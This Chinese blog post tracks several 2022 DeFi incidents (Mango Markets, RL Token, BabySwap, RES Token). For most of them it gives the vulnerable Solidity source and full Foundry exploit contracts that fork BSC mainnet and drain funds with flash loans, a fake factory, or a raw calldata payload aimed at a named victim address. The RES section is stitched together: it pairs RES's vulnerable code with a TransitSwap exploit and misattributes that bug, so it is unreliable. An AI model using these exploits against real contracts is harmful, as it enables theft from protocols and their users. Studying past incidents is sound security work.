攻击事件追踪——持续更新
author:Thomas_Xu
Mango Markets 此次攻击发生在2022年10月12日 。一个名为Mango Markets的Solana龙头衍生品交易协议被一个资金雄厚的市场操纵者攻击,造成了超过上亿美元的损失。
据mango官方推特所说:
黑客成功地通过引入巨额的USDC创建了两个MNGO-PERP的巨大头寸,暴拉了Mango 的原生代币MNGO 的价格,并抽干了他们的贷款池,使该协议留下了1.15亿美元的坏账。
但有个很奇怪的地方就是,其实早在今年3月就有人在Discord上提出了此漏洞,但Mango项目方好像并不愿意因此提供赏金。
而黑客在拿到这笔巨额代币后,通过治理提出了一个解决这个混乱场面的提案:
Mango 攻击事件黑客提案:使用国库 7000 万美元偿还坏账,投票将于3天后结束-ChainCatcher
他们要求Mango项目方向黑客支付7000万美金的漏洞赏金,并且不进行任何刑事侦查。
如果此提案在投票中被通过,黑客将把账户中 MSOL、SOL 和 MNGO 转入 Mango 团队发布的地址。
当然,攻击者用他们偷来的3200万票全部投了赞成票。
不难猜到这个提案最终的结局……
攻击方式: 攻击者的地址从FTX获得了超过500万美元的资金(200万 和350万 USDC),这些资金被存入 Mango Markets,并被用来建一个大的MNGO-PERP头寸。
通过从另一个账户对该头寸对敲,攻击者成功地将MNGO的现货价格从0.03美元暴拉 至0.91美元。在MNGO价格保持高位的同时,黑客得以利用多头头寸的未实现利润作为抵押,将贷款池中的资金抽走。
黑客的Mango Markets账户 显示有1.15亿美元的坏账。借走的资产如下:
由于MNGO代币的低流动性和低交易量,使得极端的价格操纵成为可能。
说在后面 如果Mango在3月份支付了赏金,并在一开始就预防攻击的发生,那就好了…
去年对Venus Protocol的类似攻击 (不要跟最近 与Luna事件有关的事件混为一谈),导致一个用户在6个多月前在Mango社区内提出担忧 。
RL Token 漏洞:不正确的激励计算方式,造成闪电攻击。 不正确的激励计算方式,造成闪电攻击。
漏洞分析: 先来看LP token
中transferFrom的源码:
https://bscscan.com/address/0x4bbfae575dd47bcfd5770ab4bc54eb83db088888#code#F1#L129
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 function transferFrom ( address from, address to, uint256 amount ) public virtual override returns (bool ) { if (from != address(pancakeSwapV2Pair) && from != address(pancakeSwapV2Router)) { incentive.distributeAirdrop(from ); } if (to != address(pancakeSwapV2Pair) && to != address(pancakeSwapV2Router)) { incentive.distributeAirdrop(to); } if (msg.sender != address(pancakeSwapV2Pair) && msg.sender != address(pancakeSwapV2Router)) { incentive.distributeAirdrop(msg.sender); } require (allowance(from , msg.sender) >= amount, "insufficient allowance" ); if (govIDO != address(0 )) { if (IKBKGovIDO(govIDO).isPriSaler(from )) { IKBKGovIDO(govIDO).releasePriSale(from ); } if (IKBKGovIDO(govIDO).isPriSaler(to)) { IKBKGovIDO(govIDO).releasePriSale(to); } } if (to == address(pancakeSwapV2Pair) && msg.sender == address(pancakeSwapV2Router)) { if (!isCommunityAddress[from ]) { uint burnAmt = amount / 100 ; _burn(from , burnAmt); uint slideAmt = amount * 2 / 100 ; _transfer(from , slideReceiver, slideAmt); amount -= (burnAmt + slideAmt); } } else { if (!isCommunityAddress[from ] && !isCommunityAddress[to]) { uint burnAmt = amount / 100 ; amount -= burnAmt; _burn(from , burnAmt); } } return super .transferFrom(from , to, amount); }
可以看到这里在转账时会执行激励的计算,我们注意关注trace function
处,跟踪这两个调用,进入到distributeAirdrop
函数中:
https://bscscan.com/address/0x335ddcE3f07b0bdaFc03F56c1b30D3b269366666#code#F1#L49
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 function distributeAirdrop (address user ) public override { if (block.timestamp < airdropStartTime) { return ; } updateIndex(); uint256 rewards = getUserUnclaimedRewards(user); usersIndex[user] = globalAirdropInfo.index; if (rewards > 0 ) { uint256 bal = rewardToken.balanceOf(address(this )); if (bal >= rewards) { rewardToken.transfer(user, rewards); userUnclaimedRewards[user] = 0 ; } } } function getUserUnclaimedRewards (address user ) public view returns (uint256 ) { if (block.timestamp < airdropStartTime) { return 0 ; } (uint256 newIndex,) = getNewIndex(); uint256 userIndex = usersIndex[user]; if (userIndex >= newIndex || userIndex == 0 ) { return userUnclaimedRewards[user]; } else { return userUnclaimedRewards[user] + (newIndex - userIndex) * lpToken.balanceOf(user) / PRECISION; } }
注意getUserUnclaimedRewards
函数是有明显漏洞的,在激励计算的过程中,只检查了user的balance
没有对其他的任何条件做出检查,这是很危险的,我们完全可以从闪电贷中调用此函数获利。
攻击复现: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 pragma solidity ^0.8 .10 ; import "forge-std/Test.sol" ;import "./interface.sol" ;import "forge-std/console.sol" ;interface IDODO { function flashLoan ( uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data ) external ; function _BASE_TOKEN_ ( ) external view returns (address ); } interface RLLpIncentive { function distributeAirdrop (address user ) external ; } contract AirDropRewardContract { IERC20 RL = IERC20(0x4bBfae575Dd47BCFD5770AB4bC54Eb83DB088888 ); RLLpIncentive RLL = RLLpIncentive(0x335ddcE3f07b0bdaFc03F56c1b30D3b269366666 ); IERC20 Pair = IERC20(0xD9578d4009D9CC284B32D19fE58FfE5113c04A5e ); constructor () { RL.transfer(address(this ), 0 ); } function airDropReward (address receiver ) external { RLL.distributeAirdrop(address(this )); RL.transfer(receiver, RL.balanceOf(address(this ))); Pair.transfer(receiver, Pair.balanceOf(address(this ))); } } contract ContractTest is DSTest{ IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955 ); IERC20 RL = IERC20(0x4bBfae575Dd47BCFD5770AB4bC54Eb83DB088888 ); RLLpIncentive RLL = RLLpIncentive(0x335ddcE3f07b0bdaFc03F56c1b30D3b269366666 ); IDODO dodo = IDODO(0xD7B7218D778338Ea05f5Ecce82f86D365E25dBCE ); IERC20 Pair = IERC20(0xD9578d4009D9CC284B32D19fE58FfE5113c04A5e ); Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E ); address [] public contractAddress; CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D ); function setUp ( ) public { cheats.createSelectFork("bsc" ); } function testExploit ( ) external { emit log_named_decimal_uint( "[Start] Attacker USDT balance before exploit" , USDT.balanceOf(address(this )), 18 ); USDT.approve(address(Router), ~uint256(0 )); RL.approve(address(Router), ~uint256(0 )); Pair.approve(address(Router), ~uint256(0 )); airDropContractFactory(); console .log("~~~~~~~~~~~~~~~~~~~~~~~~~" ); dodo.flashLoan(0 , 450 _000 * 1e18 , address(this ), new bytes(1 )); emit log_named_decimal_uint( "[End] Attacker USDT balance after exploit" , USDT.balanceOf(address(this )), 18 ); } function DPPFlashLoanCall (address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data ) external { buyRLAndAddLiquidity(); for (uint i = 0 ; i < contractAddress.length; i++){ console .log("~~~~~~~~~~~~~~~~~~~~~~~~~" ,Pair.balanceOf(address(this ))); Pair.transfer(contractAddress[i], Pair.balanceOf(address(this ))); (bool success,) = contractAddress[i].call(abi.encodeWithSignature("airDropReward(address)" , address(this ))); require (success); } removeLiquidityAndSellRL(); USDT.transfer(msg.sender, 450 _000 * 1e18 ); } function buyRLAndAddLiquidity ( ) public { address [] memory path = new address[](2 ); path[0 ] = address(USDT); path[1 ] = address(RL); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( 150 _000 * 1e18 , 0 , path, address(this ), block.timestamp ); Router.addLiquidity( address(USDT), address(RL), USDT.balanceOf(address(this )), RL.balanceOf(address(this )), 0 , 0 , address(this ), block.timestamp ); } function removeLiquidityAndSellRL ( ) public { Router.removeLiquidity( address(USDT), address(RL), Pair.balanceOf(address(this )), 0 , 0 , address(this ), block.timestamp ); address [] memory path = new address[](2 ); path[0 ] = address(RL); path[1 ] = address(USDT); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( RL.balanceOf(address(this )), 0 , path, address(this ), block.timestamp ); } function airDropContractFactory ( ) public { address _add; bytes memory bytecode = type(AirDropRewardContract).creationCode; for (uint _salt = 0 ; _salt < 100 ; _salt++){ assembly{ _add := create2(0 , add(bytecode, 32 ), mload(bytecode), _salt) } contractAddress.push(_add); } } }
复现代码使用Foundry框架,和HackLabs中给的攻击代码稍有改动。
执行forge test --contracts src/test/RL_exp.sol -vvvv
即可
此测试执行结果会报一个balance不足的错,是因为被攻击合约地址已经停止使用,没有余额了。
Insufficient validation 漏洞:swap底层函数缺少检查 漏洞分析 先来看babyswap当中BabySmartRouter.sol的源码
https://bscscan.com/address/0x8317c460c22a9958c27b4b6403b98d2ef4e2ad32#code#F14#L89
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function swapExactTokensForTokens ( uint amountIn, uint amountOutMin, address[] memory path, address[] memory factories, uint[] memory fees, address to, uint deadline ) external virtual override ensure (deadline ) returns (uint[] memory amounts ) { amounts = BabyLibrarySmartRouter.getAggregationAmountsOut(factories, fees, amountIn, path); require (amounts[amounts.length - 1 ] >= amountOutMin, 'BabyRouter: INSUFFICIENT_OUTPUT_AMOUNT' ); amounts[0 ] = routerFee(factories[0 ], msg.sender, path[0 ], amounts[0 ]); TransferHelper.safeTransferFrom( path[0 ], msg.sender, BabyLibrarySmartRouter.pairFor(factories[0 ], path[0 ], path[1 ]), amounts[0 ] ); _swap(amounts, path, factories, to); }
SwapMining.sol
https://bscscan.com/address/0x5c9f1A9CeD41cCC5DcecDa5AFC317b72f1e49636#code#F4#L236
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 function swap (address account, address input, address output, uint256 amount ) public onlyRouter returns (bool ) { require (account != address(0 ), "SwapMining: taker swap account is the zero address" ); require (input != address(0 ), "SwapMining: taker swap input is the zero address" ); require (output != address(0 ), "SwapMining: taker swap output is the zero address" ); if (poolLength() <= 0 ) { return false ; } if (!isWhitelist(input) || !isWhitelist(output)) { return false ; } address pair = BabyLibrary.pairFor(address(factory), input, output); PoolInfo storage pool = poolInfo[pairOfPid[pair]]; if (pool.pair != pair || pool.allocPoint <= 0 ) { return false ; } uint256 quantity = getQuantity(output, amount, targetToken); if (quantity <= 0 ) { return false ; } mint(pairOfPid[pair]); pool.quantity = pool.quantity.add(quantity); pool.totalQuantity = pool.totalQuantity.add(quantity); UserInfo storage user = userInfo[pairOfPid[pair]][account]; user.quantity = user.quantity.add(quantity); user.blockNumber = block.number; return true ; }
特别注意swapExactTokensForTokens
这个函数,他仿造了uniswap的代码,但是他重写了底层的swap的逻辑。
而我们知道uniswap之所以在执行swap的时候不需要进行额外的检查,是因为底层的swap有一个严格的K值检查,但是此swap的逻辑仅仅是计算奖励到user头上,没有进行任何检查。这就造成了检查不足 的严重问题
攻击复现:
依旧是Foundry下的复现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.10; import "forge-std/Test.sol"; import "./interface.sol"; import "forge-std/console.sol"; // @Analysis // https://twitter.com/BlockSecTeam/status/1576441612812836865 // @TX // https://bscscan.com/tx/0xcca7ea9d48e00e7e32e5d005b57ec3cac28bc3ad0181e4ca208832e62aa52efe interface BabySwapRouter { function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] memory path, address[] memory factories, uint[] memory fees, address to, uint deadline ) external; } interface SwapMining { function takerWithdraw() external; } contract FakeFactory { address Owner; IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c); IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955); constructor(){ Owner = msg.sender; } // fake pair function getPair(address token1, address token2) external view returns(address pair) { pair = address(this); } // fake pair function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) { reserve0 = 10_000_000_000 * 1e18; reserve1 = 1; blockTimestampLast = 0; } function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external{ if(WBNB.balanceOf(address(this)) > 0) WBNB.transfer(Owner, WBNB.balanceOf(address(this))); // if(USDT.balanceOf(address(this)) > 0) USDT.transfer(Owner, USDT.balanceOf(address(this))); } } contract ContractTest is DSTest{ IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c); IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955); IERC20 BABY = IERC20(0x53E562b9B7E5E94b81f10e96Ee70Ad06df3D2657); BabySwapRouter Router = BabySwapRouter(0x8317c460C22A9958c27b4B6403b98d2Ef4E2ad32); SwapMining swapMining = SwapMining(0x5c9f1A9CeD41cCC5DcecDa5AFC317b72f1e49636); CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { // cheats.createSelectFork("bsc", 21811979); cheats.createSelectFork("bsc", 22629431); // cheats.createSelectFork("bsc"); } function testExploit() public{ address(WBNB).call{value: 20_000}(""); WBNB.approve(address(Router), type(uint).max); BABY.approve(address(Router), type(uint).max); // create fakefactory FakeFactory factory = new FakeFactory(); // swap token to claim reward address [] memory path1 = new address[](2); path1[0] = address(WBNB); path1[1] = address(USDT); address [] memory factories = new address[](1); factories[0] = address(factory); uint [] memory fees = new uint[](1); fees[0] = 0; Router.swapExactTokensForTokens( 10_000, 0, path1, factories, fees, address(this), block.timestamp ); // swap token to claim reward address [] memory path2 = new address[](2); path2[0] = address(WBNB); path2[1] = address(BABY); Router.swapExactTokensForTokens( 10_000, 0, path2, factories, fees, address(this), block.timestamp ); // calim reward token swapMining.takerWithdraw(); sellBaby(); emit log_named_decimal_uint( "[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18 ); } function sellBaby() internal { console.log("~~~~",BABY.balanceOf(address(this))); address [] memory path = new address[](2); path[0] = address(BABY); path[1] = address(USDT); address [] memory factories = new address[](1); factories[0] = address(0x86407bEa2078ea5f5EB5A52B2caA963bC1F889Da); uint [] memory fees = new uint[](1); fees[0] = 3000; Router.swapExactTokensForTokens( BABY.balanceOf(address(this)), 0, path, factories, fees, address(this), block.timestamp ); } }
攻击者可以创建了假工厂合同以获得真正的奖励令牌
RES Token 这次攻击发生在2022年10月6日,RES Token被发现有严重漏洞,最终导致持有该代币的用户遭受290K美元的损失。
漏洞:不正确的奖励计算方式,owner判断不足 这是ERS Token的漏洞代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 function _transfer (address sender, address recipient, uint256 amount ) internal { require (!_blacklist[tx.origin], "blacklist!" ); require (!isContract(recipient) || _whiteContract[recipient] || sender == owner() || recipient == owner(), "no white contract" ); require (sender != address(0 ), "BEP20: transfer from the zero address" ); require (recipient != address(0 ), "BEP20: transfer to the zero address" ); require (recipient != address(this ), "transfer fail" ); require (_allToken != address(0 ), "no set allToken" ); if (sender != owner() && recipient != owner() && IPancakePair(_swapV2Pair).totalSupply() == 0 ) { require (recipient != _swapV2Pair,"no start" ); } _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance" ); bool skip = _isSkip(sender, recipient); TransferType transferType = _transferType(sender, recipient); uint256 amountRecipient = amount; if (!_lockSwapFee && !skip && transferType != TransferType.TRANSFER){ if (transferType == TransferType.SWAP_BUY){ if (_isBuySwap(amount)){ amountRecipient = amount.mul(uint256(100 ).sub(_buyFee)).div(100 ); _distBuyFee(recipient, amount.mul(_buyFee).div(100 )); } }else if (transferType == TransferType.SWAP_SELL){ if (_isSellSwap(amount)){ amountRecipient = amount.mul(uint256(100 ).sub(_sellFee)).div(100 ); _distSellFee(sender, amount.mul(_sellFee).div(100 )); } } } if (transferType == TransferType.TRANSFER){ _thisAToB(); } function _thisAToB ( ) internal { if (_balances[address(this )] > _minAToB){ uint256 burnNumber = _balances[address(this )]; _approve(address(this ),_pancakeRouterToken, _balances[address(this )]); IPancakeRouter(_pancakeRouterToken).swapExactTokensForTokensSupportingFeeOnTransferTokens( _balances[address(this )], 0 , _pathAToB, address(this ), block.timestamp); _burn(_swapV2Pair, burnNumber); IPancakePair(_swapV2Pair).sync(); } }
攻击者进行了多次交换以获得持有者全部的代币,并燃烧RES代币以提高兑换率。
完整的攻击流程如下:
tx:https://bscscan.com/tx/0x181a7882aac0eab1036eedba25bc95a16e10f61b5df2e99d240a16c334b9b189
Debug transaction:https://phalcon.blocksec.com/tx/bsc/0x181a7882aac0eab1036eedba25bc95a16e10f61b5df2e99d240a16c334b9b189
攻击复现 模拟的攻击合约:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.13; import "forge-std/Test.sol"; import "./interface.sol"; /* Attack tx: https://bscscan.com/tx/0x181a7882aac0eab1036eedba25bc95a16e10f61b5df2e99d240a16c334b9b189 Attack eventlog: https://bscscan.com/tx/0x181a7882aac0eab1036eedba25bc95a16e10f61b5df2e99d240a16c334b9b189#eventlog Debug transaction: https://phalcon.blocksec.com/tx/bsc/0x181a7882aac0eab1036eedba25bc95a16e10f61b5df2e99d240a16c334b9b189 Attack steps: It's simple, but you need to study past transactions to know how to combine the call data. 1.Incorrect owner address validation, you can input any innocent user who granted approvals to "0xed1afc8c4604958c2f38a3408fa63b32e737c428" before. in this case 0x1aae0303f795b6fcb185ea9526aa0549963319fc is a innocent user who has BUSD and granted approvals. 2. Contract "0xed1afc8c4604958c2f38a3408fa63b32e737c428" will perform transferFrom to transfer amount of innocent user to attacker. That's it. Root cause: Incorrect owner address validation. Contract: TransitSwap:0x8785bb8deae13783b24d7afe250d42ea7d7e9d72 Bridge:0x0B47275E0Fe7D5054373778960c99FD24F59ff52 Claimtokens:0xed1afc8c4604958c2f38a3408fa63b32e737c428 */ contract ContractTest is Test { address TransitSwap = 0x8785bb8deAE13783b24D7aFE250d42eA7D7e9d72; IERC20 busd = IERC20(0x55d398326f99059fF775485246999027B3197955); function setUp() public { vm.createSelectFork("bsc", 21816545); // fork mainnet block number 21816545 // vm.createSelectFork("bsc"); } function testExploit() public { emit log_named_decimal_uint("Before exploiting, Attacker BUSD balance",busd.balanceOf(address(this)), 18); TransitSwap.call(hex"006de4df0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000001c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002170ed0880ac9a755fd29b2688956bd959f933f8000000000000000000000000a1137fe0cc191c11859c1d6fb81ae343d70cc17100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002707f79951b87b5400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000380000000000000000000000000000000000000000000000000000000000000007616e64726f69640000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c0000000000000000000000000ed1afc8c4604958c2f38a3408fa63b32e737c4280000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000007616e64726f69640000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a40a5ea46600000000000000000000000055d398326f99059ff775485246999027b31979550000000000000000000000001aae0303f795b6fcb185ea9526aa0549963319fc000000000000000000000000b4c79daB8f259C7Aee6E5b2Aa729821864227e8400000000000000000000000000000000000000000000015638842fa55808c0af00000000000000000000000000000000000000000000000000000000000077c800000000000000000000000000000000000000000000000000000000"); emit log_named_decimal_uint("After exploiting, Attacker BUSD balance",busd.balanceOf(address(this)), 18); } receive() external payable {} }
漏洞分析 在RES Token的底层_transfer
函数中调用了计算奖励的函数_thisAToB()
,但此函数在burn
之前没有对owner进行验证,导致我们可以输入任意一个被授权的地址。
攻击步骤 很简单,但是需要研究过往的交易,才能知道如何组合通话数据。 1.不正确的所有者地址验证,您可以输入之前授予批准“0xed1afc8c4604958c2f38a3408fa63b32e737c428”的任何无辜用户。 在这种情况下,0x1aae0303f795b6fcb185ea9526aa0549963319fc 是拥有 BUSD 并获得批准的无辜用户。
2. 合约“0xed1afc8c4604958c2f38a3408fa63b32e737c428”将执行transferFrom,将无辜用户的金额转移给攻击者。 而已。
true
This is copyright.